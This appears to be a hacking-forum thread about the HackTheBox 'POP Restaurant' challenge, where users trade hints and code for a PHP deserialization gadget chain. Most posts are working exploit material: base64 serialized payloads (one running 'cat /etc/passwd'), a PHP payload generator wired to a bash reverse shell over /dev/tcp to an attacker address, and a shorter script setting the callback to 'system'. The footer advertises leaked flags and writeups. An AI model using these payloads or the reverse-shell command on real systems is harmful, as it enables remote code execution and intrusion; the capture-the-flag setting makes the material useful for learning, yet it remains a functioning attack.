HTB Challenge: POP Restaurant
by olkn00b - Friday October 11, 2024 at 11:03 PM
#11
(Nov 01, 2024, 11:24 PM)dannyk Wrote:
(Oct 27, 2024, 07:45 PM)st123 Wrote:
(Oct 23, 2024, 02:43 AM)olkn00b Wrote:
(Oct 22, 2024, 03:50 PM)BFischer Wrote:
(Oct 12, 2024, 01:22 AM)olkn00b Wrote: Here are hints if you stuck at creating the chain gadget
Object Chain Creation:

Use ArrayHelpers to manage a collection and set its callback to a function that can execute system commands.
Appending Commands:

Append a command that you want to execute to the ArrayHelpers instance.
Flavors Assignment:

Assign the ArrayHelpers instance to the flavors property of an IceCream object.
Invoke Behavior:

Make sure the IceCream object is invoked by passing it into another class.
Setting Sauce:

Use a Spaghetti object to hold the IceCream instance in its sauce property.
Pizza Class Usage:

Create a Pizza object and assign the Spaghetti instance to its size property.
Serialization:

Serialize the Pizza object and encode it to base64 for the payload.

Can you explain it more? It's slightly hard.

Have not solved it yet, that was hints from someone who has
going back to this now, yes it's slightly hard 

This payload works locally when testing but I can't get it to work on the target, tried multiple commands (id & some rev shells)

Tzo1OiJQaXp6YSI6MTp7czo0OiJzaXplIjtPOjk6IlNwYWdoZXR0aSI6MTp7czo1OiJzYXVjZSI7Tzo4OiJJY2VDcmVhbSI6MTp7czo3OiJmbGF2b3JzIjthOjE6e2k6MDtPOjEyOiJBcnJheUhlbHBlcnMiOjI6e3M6NDoiZGF0YSI7YToxOntpOjA7czoxNToiY2F0IC9ldGMvcGFzc3dkIjt9czo4OiJjYWxsYmFjayI7czoxNToiZXhlY3V0ZV9jb21tYW5kIjt9fX19fQ==

Not sure what I am doing wrong here, they all work good locally as said above.

Hmm.

Hi, did u figure this out yet ?


Did you figure it out or do you still need help ?

i found it . thx
Reply
#12
what is wrong with my payload?!

TzoxMzoiSGVscGVyc1xQaXp6YSI6MTp7czo0OiJzaXplIjtPOjE3OiJIZWxwZXJzXFNwYWdoZXR0aSI6MTp7czo1OiJzYXVjZSI7TzoxNjoiSGVscGVyc1xJY2VDcmVhbSI6MTp7czo3OiJmbGF2b3JzIjtPOjIwOiJIZWxwZXJzXEFycmF5SGVscGVycyI6NDp7aTowO2k6MDtpOjE7YToxOntpOjA7czo5OiJlY2hvIHRlc3QiO31pOjI7YToxOntzOjg6ImNhbGxiYWNrIjthOjI6e2k6MDtzOjE1OiJDb21tYW5kRXhlY3V0b3IiO2k6MTtzOjE0OiJleGVjdXRlQ29tbWFuZCI7fX1pOjM7Tjt9fX19

what can i do?
Thx.
Reply
#13
I need a writeup of this
Reply
#14
(Nov 01, 2024, 11:24 PM)dannyk Wrote:
(Oct 27, 2024, 07:45 PM)st123 Wrote:
(Oct 23, 2024, 02:43 AM)olkn00b Wrote:
(Oct 22, 2024, 03:50 PM)BFischer Wrote:
(Oct 12, 2024, 01:22 AM)olkn00b Wrote: Here are hints if you stuck at creating the chain gadget
Object Chain Creation:

Use ArrayHelpers to manage a collection and set its callback to a function that can execute system commands.
Appending Commands:

Append a command that you want to execute to the ArrayHelpers instance.
Flavors Assignment:

Assign the ArrayHelpers instance to the flavors property of an IceCream object.
Invoke Behavior:

Make sure the IceCream object is invoked by passing it into another class.
Setting Sauce:

Use a Spaghetti object to hold the IceCream instance in its sauce property.
Pizza Class Usage:

Create a Pizza object and assign the Spaghetti instance to its size property.
Serialization:

Serialize the Pizza object and encode it to base64 for the payload.

Can you explain it more? It's slightly hard.

Have not solved it yet, that was hints from someone who has
going back to this now, yes it's slightly hard 

This payload works locally when testing but I can't get it to work on the target, tried multiple commands (id & some rev shells)

Tzo1OiJQaXp6YSI6MTp7czo0OiJzaXplIjtPOjk6IlNwYWdoZXR0aSI6MTp7czo1OiJzYXVjZSI7Tzo4OiJJY2VDcmVhbSI6MTp7czo3OiJmbGF2b3JzIjthOjE6e2k6MDtPOjEyOiJBcnJheUhlbHBlcnMiOjI6e3M6NDoiZGF0YSI7YToxOntpOjA7czoxNToiY2F0IC9ldGMvcGFzc3dkIjt9czo4OiJjYWxsYmFjayI7czoxNToiZXhlY3V0ZV9jb21tYW5kIjt9fX19fQ==

Not sure what I am doing wrong here, they all work good locally as said above.

Hmm.

Hi, did u figure this out yet ?


Did you figure it out or do you still need help ?

i need help man... can someone give a demo payload from which i can get the idea what to change in order to get something, i can seem to create custom payload i am not that gud.
Reply
#15
Finally figured out the payload, the guy above give right direction, but u need to figure out the correct format for payload, u can log the serialized data in some file and then cat, this will be possible in local build. then from here u can build payload and get flag from site.
Reply
#16
can anyone give me the solution already i am really stuck. i am using this code :
<?php

class ArrayHelpers extends ArrayIterator
{
public $callback;

public function current()
{
$value = parent::current();
if (is_callable($this->callback)) {
call_user_func($this->callback, $value);
}
return $value;
}
}

class IceCream
{
public $flavors;

public function __invoke()
{
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
}

class Spaghetti
{
public $sauce;

public function __get($property)
{
if (isset($this->sauce) && is_callable($this->sauce)) {
($this->sauce)();
}
}
}

class Pizza
{
public $size;

public function __destruct()
{
if (isset($this->size->what)) {
echo $this->size->what;
}
}
}

class PayloadGenerator
{
public static function createPayload($command)
{

$arrayHelpers = new ArrayHelpers([1]);
$arrayHelpers->callbackCommand = $command;


$iceCream = new IceCream();
$iceCream->flavors = $arrayHelpers;


$spaghetti = new Spaghetti();
$spaghetti->sauce = $iceCream;


$pizza = new Pizza();
$pizza->size = $spaghetti;


$serializedPayload = serialize($pizza);
$base64Payload = base64_encode($serializedPayload);

return $base64Payload;
}

public static function executePayload($base64Payload)
{
// Decode and unserialize the payload
$serializedPayload = base64_decode($base64Payload);
$pizza = unserialize($serializedPayload);

// Recreate the closure dynamically for execution
if ($pizza->size->sauce->flavors instanceof ArrayHelpers) {
$command = $pizza->size->sauce->flavors->callbackCommand;
$pizza->size->sauce->flavors->callback = function () use ($command) {
exec($command);
};
}



}
}


$payload = PayloadGenerator::createPayload('bash -i >& /dev/tcp/myIP/1337 0>&1');


echo "$payload";
Reply
#17
(Dec 15, 2024, 10:45 PM)P4P1 Wrote: can anyone give me the solution already i am really stuck. i am using this code :
<?php

class ArrayHelpers extends ArrayIterator
{
    public $callback;

    public function current()
    {
        $value = parent::current();
        if (is_callable($this->callback)) {
            call_user_func($this->callback, $value);
        }
        return $value;
    }
}

class IceCream
{
    public $flavors;

    public function __invoke()
    {
        foreach ($this->flavors as $flavor) {
            echo $flavor;
        }
    }
}

class Spaghetti
{
    public $sauce;

    public function __get($property)
    {
        if (isset($this->sauce) && is_callable($this->sauce)) {
            ($this->sauce)();
        }
    }
}

class Pizza
{
    public $size;

    public function __destruct()
    {
        if (isset($this->size->what)) {
            echo $this->size->what;
        }
    }
}

class PayloadGenerator
{
    public static function createPayload($command)
    {
       
        $arrayHelpers = new ArrayHelpers([1]);
        $arrayHelpers->callbackCommand = $command;

       
        $iceCream = new IceCream();
        $iceCream->flavors = $arrayHelpers;

       
        $spaghetti = new Spaghetti();
        $spaghetti->sauce = $iceCream;

       
        $pizza = new Pizza();
        $pizza->size = $spaghetti;

     
        $serializedPayload = serialize($pizza);
        $base64Payload = base64_encode($serializedPayload);

        return $base64Payload;
    }

    public static function executePayload($base64Payload)
    {
        // Decode and unserialize the payload
        $serializedPayload = base64_decode($base64Payload);
        $pizza = unserialize($serializedPayload);

        // Recreate the closure dynamically for execution
        if ($pizza->size->sauce->flavors instanceof ArrayHelpers) {
            $command = $pizza->size->sauce->flavors->callbackCommand;
            $pizza->size->sauce->flavors->callback = function () use ($command) {
                exec($command);
            };
        }

       
     
    }
}


$payload = PayloadGenerator::createPayload('bash -i >& /dev/tcp/myIP/1337 0>&1');


echo "$payload";

hi mate how did you come about this? i am actually learning serialization and unserialization specifically
Reply
#18
thanks for share

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Reply
#19
(Dec 15, 2024, 10:45 PM)P4P1 Wrote: can anyone give me the solution already i am really stuck. i am using this code :
<?php

class ArrayHelpers extends ArrayIterator
{
    public $callback;

    public function current()
    {
        $value = parent::current();
        if (is_callable($this->callback)) {
            call_user_func($this->callback, $value);
        }
        return $value;
    }
}

class IceCream
{
    public $flavors;

    public function __invoke()
    {
        foreach ($this->flavors as $flavor) {
            echo $flavor;
        }
    }
}

class Spaghetti
{
    public $sauce;

    public function __get($property)
    {
        if (isset($this->sauce) && is_callable($this->sauce)) {
            ($this->sauce)();
        }
    }
}

class Pizza
{
    public $size;

    public function __destruct()
    {
        if (isset($this->size->what)) {
            echo $this->size->what;
        }
    }
}

class PayloadGenerator
{
    public static function createPayload($command)
    {
       
        $arrayHelpers = new ArrayHelpers([1]);
        $arrayHelpers->callbackCommand = $command;

       
        $iceCream = new IceCream();
        $iceCream->flavors = $arrayHelpers;

       
        $spaghetti = new Spaghetti();
        $spaghetti->sauce = $iceCream;

       
        $pizza = new Pizza();
        $pizza->size = $spaghetti;

     
        $serializedPayload = serialize($pizza);
        $base64Payload = base64_encode($serializedPayload);

        return $base64Payload;
    }

    public static function executePayload($base64Payload)
    {
        // Decode and unserialize the payload
        $serializedPayload = base64_decode($base64Payload);
        $pizza = unserialize($serializedPayload);

        // Recreate the closure dynamically for execution
        if ($pizza->size->sauce->flavors instanceof ArrayHelpers) {
            $command = $pizza->size->sauce->flavors->callbackCommand;
            $pizza->size->sauce->flavors->callback = function () use ($command) {
                exec($command);
            };
        }

       
     
    }
}


$payload = PayloadGenerator::createPayload('bash -i >& /dev/tcp/myIP/1337 0>&1');


echo "$payload";

Why that complicated?
Simplicity is our friend:

PHP Code:
<?php

require_once 'Helpers/ArrayHelpers.php';
require_once 
'Models/PizzaModel.php';
require_once 
'Models/IceCreamModel.php';
require_once 
'Models/SpaghettiModel.php';

$cmd "ls";
$ArrayHelpers = new \Helpers\ArrayHelpers([$cmd]);

$ArrayHelpers->callback 'system';

$IceCream = new IceCream();
$IceCream->flavors $ArrayHelpers;

$Spaghetti = new Spaghetti();
$Spaghetti->sauce $IceCream;
$Spaghetti->what;

$Pizza = new Pizza();
$Pizza->size $Spaghetti;

$encoded base64_encode(serialize($Pizza));
print(
"Encoded String: $encoded \n"); 
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 15 820 3 hours ago
Last Post: 0x5k1z0
  CPTS-FLAG darkcat 14 5,732 3 hours ago
Last Post: Sukon
  [FREE] CPTS 12 FLAGS pulsebreaker 78 2,611 3 hours ago
Last Post: hitlerssecretsidechick
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 91 8,293 3 hours ago
Last Post: hitlerssecretsidechick
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 381 94,522 6 hours ago
Last Post: xixi75

Forum Jump:


 Users browsing this forum: 1 Guest(s)